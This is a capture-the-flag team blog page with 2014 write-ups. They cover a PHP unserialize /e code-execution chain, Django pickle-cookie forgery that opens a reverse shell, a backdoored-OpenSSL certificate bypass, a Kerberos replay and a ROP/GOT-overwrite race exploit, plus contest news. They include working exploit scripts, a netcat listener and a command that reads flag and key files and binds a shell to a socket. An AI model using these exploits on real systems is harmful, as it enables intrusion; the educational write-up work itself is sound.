Sunday, April 27, 2014

PlaidCTF 2014 - kpop and reeekeee

kpop (web200)

We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  function log($txt) {
  function __destruct() {

-- _destruct -- 
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
-- logger --
By using the /e switch, we can execute arbitrary code:
-- exploit --
class LogFileFormat {
  public $filters,$endl;
  function __construct($a){$this->filters=$a;$this->endl='';}
class LogWriter_File {
  protected $filename,$format;
  function __construct($b){$this->filename='';$this->format=$b;}
class Logger {
  protected $logwriter; 
  function __construct($a){$this->logwriter=$a;}
class Song {
  protected $logger,$name,$group,$url;
  function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
class Lyrics { 
  protected $lyrics,$song;
  function __construct($a){$this->lyrics='';$this->song=$a;}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop 

reekee (web200)

We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.
-- cut --
    url = request.POST['url']
    text = request.POST['text']
      if "http://" in url:
        image = urllib2.urlopen(url)
        image = urllib2.urlopen("http://"+url)
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see; something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in
-- --
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
The signing was done with an HMAC with a secret stored in Let's read it and forge some cookies to get RCE (django code ripped from:
--- exploit ---

import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
    def base64(s): #taken from django
        import base64
        return base64.urlsafe_b64encode(s).strip(b'=')

    def salted_hmac(salt, value, secret): #taken from django
        key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
        return hmac(key, msg=value, digestmod=hashlib.sha1).digest()

    import time
    import baseconv #taken from django

    timestamp = baseconv.base62.encode(str(int(time.time())))
    data = base64(payload)+":"+timestamp
    mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
    s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
    return requests.get(add, cookies=t)

IP = ''
PORT = 41412
url =''
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r ='/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:
$ nc -l -p 41412
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(reekee) gid=1001(reekee) groups=1001(reekee)
$ give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

Thursday, April 24, 2014

PlaidCTF 2014 - solutions to multiple challenges

Two weeks ago, I participated in Plaid CTF with the team, solving several interesting tasks mostly but not solely related to low-level exploitation. Below, I'm sharing the solutions to all challenges I had a chance to play with:

Monday, April 21, 2014

CONFidence DS Teaser CTF registration is open!

Without further ado:

The teaser will start on the 26th of April, 9:00 A.M. CEST (GMT+2) - for other timezones click here - and will consist of five tasks (web, re, pwn, crypto, stegano). Please note this is an individual CTF.

The top three players will receive entrance tickets to the CONFidence conference, which will take place on the 27th-28th of May in Cracow, Poland. All other participants will receive discounts for the same conference, starting at 20% up to 50%.

We will also run an offline individual CTF with about 25 tasks at CONFidence - more details will follow soon.

See you on the battlefield!

Sunday, April 20, 2014

Plaid CTF 2014 - Tiffany writeup

Looking at the binary for the first time we can say that this challenge is a 64bit ELF binary that does something related with ptrace. Because Hex-Rays fails with decompiling 64bit code we need to play a bit with a disassembler and find out how does the program work. To solve this crackme I’ve used Bokken (this is quite nice frontend for pyew & radare). After some time spend in front of disassembler and debugger I was able to say that the program has used a bit unconventional way of sending the messages that looked as follow:
  1. Attach to a process
  2. Set the dword at 0x618180 to 0x1 // notify about the message
  3. Set the dword at 0x618184 to destination id // each pid had its unique id
  4. Set the dword at 0x618188 to message type // offset in the procedures table
  5. Fill the space from 0x61818c up to 0x69818c by message arguments
  6. Detach from the process
  7. Send the signal to the process
Each (except parent) process had its own dispatcher of incoming messages that was checking address 0x618180 and when it was set to some not-null value, the corresponding handler of the message was called (based on the message type).

The dispatcher:

So when the message arrived, first it was checked if it was addressed to self node (which id was hold in r13) and if not, it was forwarded to previous from 7 nodes using the same method as described earlier (attach, modify memory, detach, signal). Using this scheme the parent process could send the message to any node having the handler only to its first child which would forward the message to the other node and so forth...

In fact the child process forwards the message to its predecessor and the initial predecessor of the #0 child was the parent node but the parent process changes it by sending the message to #0 asking to set the default forward node to #6 (function with offset 0 in procedures table, let’s use one-based indexing and name it the message of the first type).

Using this message forwarding, the parent process sends many messages of the second type to #0 where each message is addressed for different child:

for (child = 0; child < 8; ++child):
  r14 = [0x618160 + 4*child]
  ptrace_attach([0x618160 + 4*r14])
  ptrace_modify([0x618160 + 4*r14], 0x618180, 1)
  ptrace_modify([0x618160 + 4*r14], 0x618184, r14)
  ptrace_modify([0x618160 + 4*r14], 0x618188, 1)
  r12 = [0x6180c0 + 8*r14]
  r13 = [0x618100 + 4*r14]
  for (i = 0; i < r13; ++i)
    ptrace_modify([0x618160 + 4*r14], 0x61818c + 4*i, [r12 + 4*i])
  ptrace_detach([0x618160 + 4*r14])

From high level perspective the handler of the second messages does quite a simple thing, just stores the memory - argument of procedure - to it’s internal buffer (*0x618140 + 4):

Procedure #2 at 0x401196:
  length = *0x61818c * 0x404
  *0x618140 = malloc(4 + length)
  *0x618140 = (DWORD)*0x61818c
  memcpy(buffer, length, 0x618190)

It takes a moment and after that we are asked to enter the string of our choice:

This may take a while...
Please enter a string: _

When we enter some password, the parent process starts to send the fourth type of messages to its first child:

for each letter in password:
  ptrace_attach(*0x618160) // first child
  ptrace_modify(*0x618160, 0x618180, 1)
  ptrace_modify(*0x618160, 0x618184, 0)
  ptrace_modify(*0x618160, 0x618188, 3)
  ptrace_modify(*0x618160, 0x61818c, [rsp+0x98]) // letter

but as we can see, the child forwards it to its predecessor:

Procedure #4 at 0x4011f5:
  *0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)]
  if (r14d < 7) // not the last child
    ptrace_attach(*0x61814c) // predecessor
    ptrace_modify(*0x61814c, 0x618180, 1)
    ptrace_modify(*0x61814c, 0x618184, r15) // self id + 1
    ptrace_modify(*0x61814c, 0x618188, *0x618188)
    for (i = 0; i < 0x20000; ++i)
      ptrace_modify(*0x61814c, 0x61818c + 4*i, *(0x61818c + 4*i)
  else notify parent about finish

In practise it looks like each child except the last one sends the message to its predecessor addressed to its successor, so the message is forwarded by all of the nodes to finally reach its destination. If you look closer to this procedure it not only forwards the data but also changes the state using the received letter. Finally when all of the letters are sent, the parent submits the last message (third type) that is some kind of a check of a password and looks like this:

Procedure #3 at 0x400db8:
  [rsp+0x98] = getpid()
  [rsp+0x9c] = 1
  for (int i = 0; i < 8; ++i)
    if (i == myId)
      [rsp+0x9c] &= [buffer + 4*(*0x618148 * 0x101)]
      ptrace_modify(*0x61814c, 0x618180, 1)
      ptrace_modify(*0x61814c, 0x618184, i)
      ptrace_modify(*0x61814c, 0x618188, 4)
      ptrace_modify(*0x61814c, 0x61818c, [rsp+0x98])

      while (*0x618180 == 0) sleep()
      *0x618180 = 0

      [rsp+0x9c] &= *0x61818c

  ptrace_modify(*0x618150, 0x618180, 1)
  ptrace_modify(*0x618150, 0x618180, 0)
  ptrace_modify(*0x618150, 0x618188, 0)
  ptrace_modify(*0x618150, 0x61818c, [rsp+0x9c])

So in short: send the message of the fifth type to each node except myself and wait for the answer. In the end send the message to parent informing if each of the nodes verified the password as true.

Procedure #5 at 0x40142c:
  [rsp+98] = [buffer + 4*(*0x618148 * 0x101)]
  ptrace_modify(*0x61818c, 0x618180, 1)
  ptrace_modify(*0x61818c, 0x618184, 0)
  ptrace_modify(*0x61818c, 0x618188, 0)
  ptrace_modify(*0x61818c, 0x61818c, [rsp+98])

Now having the knowledge how all of this stuff works, we could try to find the string that will be verified by all of child nodes. The value returned by each child is:

[buffer + 4*(*0x618148 * 0x101)]

where *0x618148 is previously generated from password letters:

*0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)]

which looks like some kind of map… and in fact it is sort of map or finite state machine whose states are described by this fragments of memory previously transferred to each of the nodes. Now doing the boring part of analysis this memory chunks and transforming it into finite state machines we are able to discover that each of children checks some part of the password.

Using regular expressions:

#0: ^\{[^}]*\}$
#1: ^.{32}$
#2: _[^_]*_[^_]*_
#3: ^.my
#4: _synchronization
#5: _[^_]*_skills
#6: _[^_]*_[^_]*_suck

All of these parts can be easily merged to the final solution: {my_synchronization_skills_suck} 
That's all, nice one.

Monday, April 14, 2014

PlaidCTF 2014 - gcc (300) and freya (250)

PlaidCTF 2014 was an awesome event. This year it gathered ~1000 teams competing by solving really challenging and fun tasks (there were a lot of them - mostly tricky, requiring solid knowledge as well as good intuition, more than requiring a lot of mundane work with debugger). Our team - the Dragon Sector - finished 2nd this time.

Both tasks mentioned in the post title have been solved by only 5 teams each, so you're probably longing to find out how we cracked them? Here it is, just remember - both of the tasks were solved rather by means of testing, guessing and trying various things and not by any subtle and meticulous analysis. If you'd like to learn more about technologies described here (GCC and Kerberos) it'd be way better if you got a good specification on this software, instead of getting the knowledge by reading our solutions :).

OK, for those who like the hacker-way-of-solving things, here's our story:

GCC (300)

The task has been solved by jagger, gynvael & valis.

This is bad. Very bad. You travel back in time, only to see that The Plague has finagled his way to the gcc dev team. What sort of mischief he can cause for the future from this point of power is hard to say... find out what he's up to immediately! Here's a copy of GCC. We're pretty sure he's running something at

After clicking on the link we were given a complete gcc toolchain for the 64-bit Linux system. At this point we started just poking randomly around the toolchain, looking at outputs produced by it, and comparing with the stock compiler's outputs. We also compiled the same version of the compiler with the same flags (found in one of the .h files), but due to too much diff noise, it was really hard to compare those two gcc toolchains. We were considering using zynamic's BinDiff, but in the end we took another approach.

As nothing interesting came out from our quick poking around the compiler toolchain, we started looking at It's a simple web-page served over a HTTPS server and displaying just "Unauthorized.".

Authors of the task mentioned that the software compiled with the aforementioned backdoored gcc is running on the host, so we were able to come up with only limited number of plausible software suites that could be used there:
  • Apache
  • OpenSSL (cause the Apache was running with or with SSL proxy)
and a couple of less obvious ones:
  • PHP
  • Python
  • various utility libs (zlib, libc etc.)
And we were just lucky, because the first software suite we compiled with the backdoored gcc was OpenSSL. After comparing the original and backdoored versions with diff -Nu (by dumping the asm with objdump -d, it turned out that one of the OpenSSL function had been modified, and it was .....wait for it.... ssl_verify_cert_chain():). In essence, the following code block was responsible for the complete backdoor functionality:

.text:00000000000009A0 loc_9A0:   ; CODE XREF: ssl_verify_cert_chain+20j
.text:00000000000009A0                 xor     esi, esi
.text:00000000000009A2                 mov     rdi, rbx
.text:00000000000009A5                 call    sk_value        ; PIC mode
.text:00000000000009AA                 mov     rcx, [rax+20h]
.text:00000000000009AE                 mov     rdx, rax
.text:00000000000009B1                 mov     eax, 1
.text:00000000000009B6                 cmp     dword ptr [rcx], 233D4F2Fh
.text:00000000000009BC                 jz      short loc_994
; ---------------------------------------------------------------------------
.text:0000000000000994 loc_994:  ; CODE XREF: ssl_verify_cert_chain+4Cj
.text:0000000000000994           ; ssl_verify_cert_chain+149tj
.text:0000000000000994                 add     rsp, 110h
.text:000000000000099B                 pop     rbx
.text:000000000000099C                 pop     rbp
.text:000000000000099D                 pop     r12
.text:000000000000099F                 retn

As you probably noticed, the code is trying to get "something" from the OpenSSL's x509 certificate stack (sk_value), and then verifies that data, by comapring the 4 first bytes pointed by a pointer fetched from this stack, to 0x233D4F2F (little endian). Those 4 bytes, when converted to an ASCII string, give:


Now, this looked suspliciously similar to the format used by X509 certificates to store information about DNs (Distinguished Names), didn't it?

So, if this check (cmp dword ptr [rcx], 233D4F2Fh) succeeds, the code skips any further validation attempts and just "returns 1". We also confirmed, by reading the OpenSSL source code, that, indeed, the pointer at sk_value + 0x20 points to the peer certificate's DN.

Diff of original and modified

We tried to create a self-serving certificate with (Organization) O=# but it wasn't that easy. First of all, the default openssl x509 command requires that the first DN field, the country, is actually set to something sane. We bypassed that, by editing /usr/lib/ssl/openssl.cnf and setting countryName_min value to 0. We also edited a few other things there, so their default values could be empty (so the certificate's DN string could start with /O=).

Then, we created a proper key/certificate pair.

$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem 
Generating a 2048 bit RSA private key
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Country Name (2 letter code) []:
State or Province Name (full name) []:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]: #
Organizational Unit Name (eg, section) []: AA
Common Name (e.g. server FQDN or YOUR name) []:ABC
Email Address []

Used it with wget:

$ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem -O -
Enter PEM pass phrase:

Connecting to connected.
WARNING: cannot verify's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns="" lang="en-US" xml:lang="en-US">
<title>Flag Service</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<h3>Only members of "Plaid CTF" are allowed. You are part of "AA".</h3>

Ha.. that's really close! We figured out that "AA" is our OU (Organizational Unit), and we changed it to "Plaid CTF". Another wget request, and we got the flag:

$ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem -O -
Enter PEM pass phrase:

Connecting to connected.
WARNING: cannot verify's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns="" lang="en-US" xml:lang="en-US">
<title>Flag Service</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<h3>Your flag: </h3><p>bleeding_trust_on_your_reflections</p>


Freya (250)

This task has been solved by jagger, redford & vnd.

We've traveled back far, but this protocol looks familiar... Our reconnaissance team did a great job, they got us a data capture from the currently running systems and a private key from the server (shell.woo.pctf which resolves to . Take a look at the traffic our reconnaissance team picked up, and see if you can get access to The Plague's server, at

The archive contained the following files:
  • in/password
  • in/freya_priv.pem
  • in/freya.pcapng
  • in/freya_cert.pem
The *.pcapng file included two types of TCP sessions. 

1). Two HTTPS requests (the plain HTTP content can be decoded with Wireshark by providing freya_priv.pem and freya_cert.pem to the SSL protocol analyzer). They were directed at, and contained the following request.

POST /kkdcp HTTP/1.0
Cache-Control: no-cache
Pragma: no-cache
User-Agent: kerberos/1.0
Content-type: application/kerberos
Content-length: 280


Wireshark analysys of the in/freya.pcapng

2). A SSH session with

The HTTP session consisted of two distinct HTTP request/replies pairs. The first one looked like a Kerberos ticket request or somesuch, didn't it? . It was replied with a NEEDED_PREAUTH message, which basically means that a user password is required. The second HTTP POST request presumably provided a password, and the KRB ticket for host/shell.woo.pctf@WOO.PCTF had been returned in response to that. It's all guessing, but having been working with Kerberos for some time, it seemed like an educated guess.

We started proxying custom kinit requests for the key (rewriting kerberos protocol to HTTPS and back) in order to obtain a new kerberos key, but something wasn't right. It seems that the HTTPS requests and replies were encapsulated in some kind of container, and carried additional bytes at the beginning of each packet (9 and 12 bytes in those HTTP requests respectively). So, we simply added those bytes with our proxy (a simple net/file proxy written in C), taken from the original TCP/HTTPS session visible in wireshark. We also removed those unnecessary bytes from the KDC responses so kinit could interpret them.

With that, we were able to get the ticket by feeding kinit with proxied data. We spent some time on getting the right parameters to the kinit command, but after some forth and back we found the right combination: kinit -S host/shell.woo.pctf ppp. It's worth noting that by default kerberos was asking for the tgt (ticket granting ticket), a request which wasn't replied to by the KDC server set up by PPP.

This task also required modifying the local /etc/krb5.conf, so the ticket requests were directed at our proxy and not at some random server. The essential part of it:

  WOO.PCTF = {
    kdc =
    default_domain = woo.pctf
  woo.pctf = WOO.PCTF

By providing password found the in/password file (shellpls), we were able to obtain a valid ticket for shell.woo.pctf from this peculiar KDC.

$ klist -a
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: ppp@WOO.PCTF
Valid starting       Expires               Service principal
04/13/2014 15:48:41 04/14/2014 15:48:25 host/shell.woo.pctf@WOO.PCTF

Now, let's repeat parameters of the ssh session which we found in the *.pcapng

$ ssh ppp@ -o GSSAPIKeyExchange=yes -o GSSAPIServerIdentity=shell.woo.pctf

Voila! Hope you liked it!

Wednesday, April 9, 2014

Update: Dragon Sector TOP3 at CODEGATE CTF Finals 2014

Last week a representation of the Dragon Sector team consisting of j00ru, valis, redford, jagger participated in the finals of the renowned competition in Seoul, South Korea - CODEGATE CTF. As this was was quite an adventure for all of us both in terms of exploring new cultures and taking part in an offline event (which would be the second one for our team), we decided to share the experience with you in the form of a short status update blog post.

Some of us arrived to South Korea three days before the competition, others only two days in advance. Overall, this gave us enough time to both get over an 8-hour jetlag and do some sightseeing in the capital, feeling the vibe of the city, trying out local cuisine (and Soju!) and so forth. 

After a nice period of relaxation, time has come for some rivalry. The CTF was held in COEX Convention & Exhibition Center, next to where the CODEGATE conference would be held the following day, and lasted for 20 hours - since 2 p.m. on 2nd of April (Wednesday) until 10 a.m. on 3rd of April (Thursday).

All 14 teams playing in the finals were seated in a single, large room, each being provided three desks (clearly labeled with a signboard containing the team's name, country of origin, flag and logo), power supply and network connectivity; the organizers also had their spot set up on stage in one of the corners, from where they would announce news like newly published, broken and fixed tasks. During a brief orientation, we were informed about the standard rules of the contest (jeopardy format, a maximum of four players per team, no flag sharing, no hinting to other teams, no attacks on infrastructure etc) and spent the remaining time setting up and chatting with the other groups. A few minutes past 2 p.m., the CTF web system in the local network was up and the competition started.

The CTF opened with five tasks available, with more challenges added throughout the entire competition, with the last one becoming available just 30 minutes before the end of the contest. There were a total of 15 tasks split between the "web", "exploitation", "reverse engineering" and "mixed" categories, some of them worth as much as 750 or 800 points and consisting of multiple levels. All in all, the event was extremely binary-oriented with a slight taste of web security - something we expected and prepared for. The first three teams to solve each task would receive a bonus of 30, 20 and 10 points respectively, thus capturing the flags in a timely manner was highly encouraged, yet not easy, considering that a majority of the solid and well-known teams showed up there.

While there were one or two small hiccups such as a broken task, the technical quality of the CTF was top notch. The tasks were interesting and challenging, the broken ones would be fixed by the crew within an hour of announcement and truth be told - we had a lot of fun playing the game, which is probably the most important aspect of any CTF. In addition to that, the organizers made sure we were provided with food and drinks so that we wouldn't have to take care of this ourselves. Thanks to all this, we really enjoyed the 20 hours we spent in the room. :)

For the most part of the contest, PPP was the leader in the ranking, with occassional shuffling in the top2-top5 positions. Since about 12 hours into the game, we managed to take the second place and maintain it until ~1.5 hours before the end, when More Smoked Leet Chicken solved a task and overtook us by 70 points. While we did have one more task solved, we were short by two minutes to get the remote shell and submit the flag, before the CTF ended precisely at 10 a.m. As a result, the final top3 remained as follows:
  1. PPP (6080 pts)
  2. More Smoked Leet Chicken (2940 pts)
  3. Dragon Sector (2870 pts)

The awards ceremony was long, pompous and unfortunately all in Korean. All of the participating teams were invited to the stage, and the first three teams were handed their statuettes, diplomas and checks. After that, the CODEGATE conference started and we could finally get some sleep.

We're extremely happy to have been able to participate in this great CTF thanks to the technical crew, authors of the tasks and the organizers of the conference. We congratulate both MSLC and PPP for their great performance and are looking forward to a visit in Seoul next year!

As a closing note, we are still looking for sponsors to be able to take part in the DEF CON CTF in Las Vegas, USA and possibly other competitions this year. For details, see here.

Tuesday, April 8, 2014

Nuit du Hack CTF Quals 2014 - Nibble

The recent Nuit Du Hack CTF Quals CTF was mostly web, crypto and forensics-oriented, with no tasks explicitly categorized as "Exploitation" or "Pwning", my favourite kind. However, a brief investigation has shown that the "Nibble" challenge marked as "Misc" and worth 600 points was indeed an exploitation task, and quite interestingly looking one. I immediately allocated it to myself and started looking into the provided files: a x86 ELF server binary (NibbleServer) and a set of Python client scripts (NibbleClient.tar.gz). By providing the latter, the organizers made it extremely easy to understand the overall logic of the system, which is as follows:
  1. The client creates a chat_protocol_pb2.AuthPacket protocol buffer object, fills out the only field (string) with user-supplied name and sends it to the server (following a trivial protocol).
  2. The server replies with a chat_protocol_pb2.TokenResponse protobuf containing a 7-letter pseudo-random authentication token assigned to the username.
  3. The client can then send a chat_protocol_pb2.ChatMessage structure, containing a cookie (being the previously received token), nickname and the message.
At this point, it was clear we were dealing with a trivial implementation of a chatroom, which could be further confirmed by running the server and clients locally:

Now, the interesting thing about the server is how it is implemented internally: for each connection, the server would create a new thread (using pthread_create), maintain a list of structures describing the entirety of all connections and use them when any of the clients sends a new message:

This is an interesting design decision, as it results in all clients being handled by code running in the same address space, meaning that access to any shared resources (such as global variables) should be properly synchronized.

If we look further into start_routine (the connection handling function) and into the implementation of the authorization code, and spend a few minutes adjusting variable types and names, we should end up with the following representation of the function at 0x8049b29:

Here, you can see that the server deserializes the AuthPacket protocol buffer, assigns a pointer to the provided username to a global variable (username), then if the length of the string is not more than 100, it invokes a cryptic process_username function using the pointer saved in a global variable after a short, artificial delay of 10ms. If we then look into process_username, everything becomes clear:

Because of the multithreaded design of the application and no synchronization protecting access to the global username pointer, we can take advantage of a time-of-check-time-of-use (TOCTOU in short) condition to force a stack-based buffer overflow in the process_username routine by having several threads continuously send packets containing short and long strings, alternately. Once we do this on a local machine, the server should crash in the following manner within a fraction of second:

Running as j00ru

[New Thread 0xf7cbab40 (LWP 11929)]
[New Thread 0xf74b9b40 (LWP 11932)]
[New Thread 0xf6cb8b40 (LWP 11934)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf6cb8b40 (LWP 11934)]
0x41414141 in ?? ()

As the script informs us, the binary has NX enabled, but RELRO, stack cookies and PIE disabled. This means that we cannot directly execute a shellcode of our choice from e.g. the stack - however, we can easily intercept the control flow, create ROP chains of our choice without any information leaks from the service and freely tamper with the import table of the executable.

In this situation, we would typically ROP our way to system("/bin/sh"); the system function itself is present in .got.plt, but we didn't have any controlled string in the static memory, and at the time, we didn't notice a pointer to our string (in fact, protocol buffer) stored on the stack, as demonstrated in another public exploit. We could try to create a ROP chain to overwrite one of the .got entries and terminate the local thread through pthread_exit; however, we were not able to find sufficient gadgets in the small binary (this is not to say there aren't). Yet another way would be to overwrite .got by using the recv function to read into the desired memory area from our socket - however, this would require us both to know the socket's file descriptor index (given that there were multiple connections established by a number of CTF participants, it was not easily gueassble) and put binary zeros on the stack, whereas the unsafe sprintf wouldn't allow us to do that.

In this setting, we came up with and decided to use a technique specific to the NibbleServer executable. If we look at the layout of the .got.plt section, we can see the following:

.got.plt:0804B134 __errno_location
.got.plt:0804B138 sprintf
.got.plt:0804B13C srand
.got.plt:0804B140 pthread_exit
.got.plt:0804B144 __gmon_start__
.got.plt:0804B148 realloc
.got.plt:0804B14C recv
.got.plt:0804B150 system
.got.plt:0804B154 listen
.got.plt:0804B158 protobuf_c_message_get_packed_size
.got.plt:0804B15C __libc_start_main
.got.plt:0804B160 htons
.got.plt:0804B164 __assert_fail
.got.plt:0804B168 perror
.got.plt:0804B16C usleep
.got.plt:0804B170 free
.got.plt:0804B174 accept
.got.plt:0804B178 socket
.got.plt:0804B17C strlen
.got.plt:0804B180 protobuf_c_message_free_unpacked
.got.plt:0804B184 strcpy
.got.plt:0804B188 protobuf_c_message_pack_to_buffer
.got.plt:0804B18C bind
.got.plt:0804B190 pthread_detach
.got.plt:0804B194 protobuf_c_message_unpack
.got.plt:0804B198 protobuf_c_message_pack
.got.plt:0804B19C close
.got.plt:0804B1A0 time
.got.plt:0804B1A4 malloc
.got.plt:0804B1A8 pthread_create
.got.plt:0804B1AC send
.got.plt:0804B1B0 puts
.got.plt:0804B1B4 setsockopt
.got.plt:0804B1B8 rand
.got.plt:0804B1BC bzero
.got.plt:0804B1C0 __gxx_personality_v0
.got.plt:0804B1C4 _Unwind_Resume
.got.plt:0804B1C8 strcmp
.got.plt:0804B1CC exit

Out of those, there are two functions which are passed attacker-supplied strings as their first parameters: strlen and strcmp; we would ideally like to overwrite one of them with the address of system. While we don't have a "read from" and "write to" ROP primitives, nor do we have a function like memcpy, we still have strcpy!

Let's consider our options: if we do:
strcpy(&got.strlen, &got.system);
we would instantly trash all .got entries past the address of strlen (everything after 0x804b180), likely crashing the process on the first attempt to use any of the destroyed addresses. Doing:
strcpy(&got.strcmp, &got.system);
sounds like a much better idea: in that case, we only additionally overwrite the address of exit with listen, which is not much a deal given that the process isn't actively terminating at the time of exploitation. However, we are still trashing subsequent .data information following .got.plt. In order to mitigate this and minimize the number of bytes overwritten past the strcmp pointer, we can insert a \0 byte into one of the .got entries after the .got.plt.system item, in order to make the &got.plt.system "string" look shorter to strcpy. It's best that the function we overwrite with a nul byte is never used again, and when we take another look at the GOT layout, we can see that __libc_start_main at 0x804b15c is a perfect candidate: it is only called at the beginning of process execution and is only 8 bytes away from the system entry. The \0 can be injected using strcpy again, with the source parameter set to a zeroed-out memory area, such as 0x804b1d4 (inside of .data):
strcpy(&got.__libc_start_main, 0x804b1d4);
After the two strcpy calls, the memory layout around GOT is as follows:

.got.plt:0804B134 __errno_location
.got.plt:0804B138 sprintf
.got.plt:0804B13C srand
.got.plt:0804B140 pthread_exit
.got.plt:0804B144 __gmon_start__
.got.plt:0804B148 realloc
.got.plt:0804B14C recv
.got.plt:0804B150 system
.got.plt:0804B154 listen
.got.plt:0804B158 protobuf_c_message_get_packed_size
.got.plt:0804B15C \0 ibc_start_main
.got.plt:0804B160 htons
.got.plt:0804B164 __assert_fail
.got.plt:0804B168 perror
.got.plt:0804B1BC bzero
.got.plt:0804B1C0 __gxx_personality_v0
.got.plt:0804B1C4 _Unwind_Resume
.got.plt:0804B1C8 system
.got.plt:0804B1CC listen
.data:0804B1D0    protobuf_c_message_get_packed_size

Since we're against a race condition, we don't know exactly when we hit the right timing and .got becomes overwritten - therefore, we would like to keep the process alive at all times by preventing any kind of unnecessary exceptions. To make this happen, we terminate the current thread cleanly via pthread_terminate. The overall ROP chain formed in Python looks as follows:
padding_addr = 0x8049d42

def rop_strcpy(dst, src):
 strcpy_jmp = 0x8048ca0
 return (struct.pack('I', strcpy_jmp) +
         struct.pack('I', padding_addr) +
         struct.pack('I', dst) +
         struct.pack('I', src) +
         "A" * 0x24)

def rop_pthread_exit(exitcode):
 pthread_exit_jmp = 0x8048b90
 return (struct.pack('I', pthread_exit_jmp) +
         struct.pack('I', padding_addr) +
         struct.pack('I', exitcode))

def rop():
        nul_data_address    = 0x804b1d4
        libc_start_main_got = 0x804b15c
        system_got          = 0x804b150
        strcmp_got          = 0x804b1c8
        pthread_exit_got    = 0x8048b90

 return (rop_strcpy(libc_start_main_got, nul_data_address) +
         rop_strcpy(strcmp_got, system_got) +

However, if we try to use the above payload in our exploit using the original protocol buffer implementation provided by the organizers, we will encounter the following error:

It turns out that the username field in the AuthPacket message was defined as type "string", which only accepts correctly encoded textual strings. In order to work around this, we have to rewrite the protocol buffer definitions on our own, changing the field's type from "string" to "bytes":

package NibblesChat;

message AuthPacket {
required bytes username = 1;

message ChatMessage {
required string cookie = 1;
required string nickname = 2;
required string textmessage = 3;

and compile it locally to create a new file:

$ protoc chat_protocol.proto --python_out=.

With this sorted out, our exploit can now successfully overwrite strcmp with system:

(gdb) x/1wx 0x804b150
0x804b150 <system@got.plt>: 0xf7fb7e10
(gdb) x/1wx 0x804b1c8
0x804b1c8 <strcmp@got.plt>: 0xf7fb7e10
(gdb) x/1i 0xf7fb7e10
0xf7fb7e10 <system>: push   %ebx

Hurray! We now have the ability to execute arbitrary commands on the remote server via the ChatMessage packet, which contains a string passed directly as the first parameter to the overwritten strcmp. However, all attempts to spawn a reverse shell via netcat and other traditional methods failed. Normally, we would invoke a "/bin/sh <&4 >&4" command to have the shell's standard input and output redirected to our socket at a known fd; however in this case, we don't know the exact numeric value of the socket. Luckily, the strcmp standard function is called using the __cdecl convention, meaning that a mismatch in the number of parameters between strcmp and system does not misalign the stack and crash the application. Therefore, we have an unlimited number of attempts to guess the fd, which we achieved using the following code:
for i in range(1, 100):
        # Send message.
        msg = chat_protocol_pb2.ChatMessage()
        msg.cookie = "echo test >&%u; cat fla* ke* ~/fla* ~/ke* >&%u; /bin/bash <&%u >&%u" % (i, i, i, i)
        msg.nickname = "j00ru//drgns"
        msg.textmessage = "pwned.";
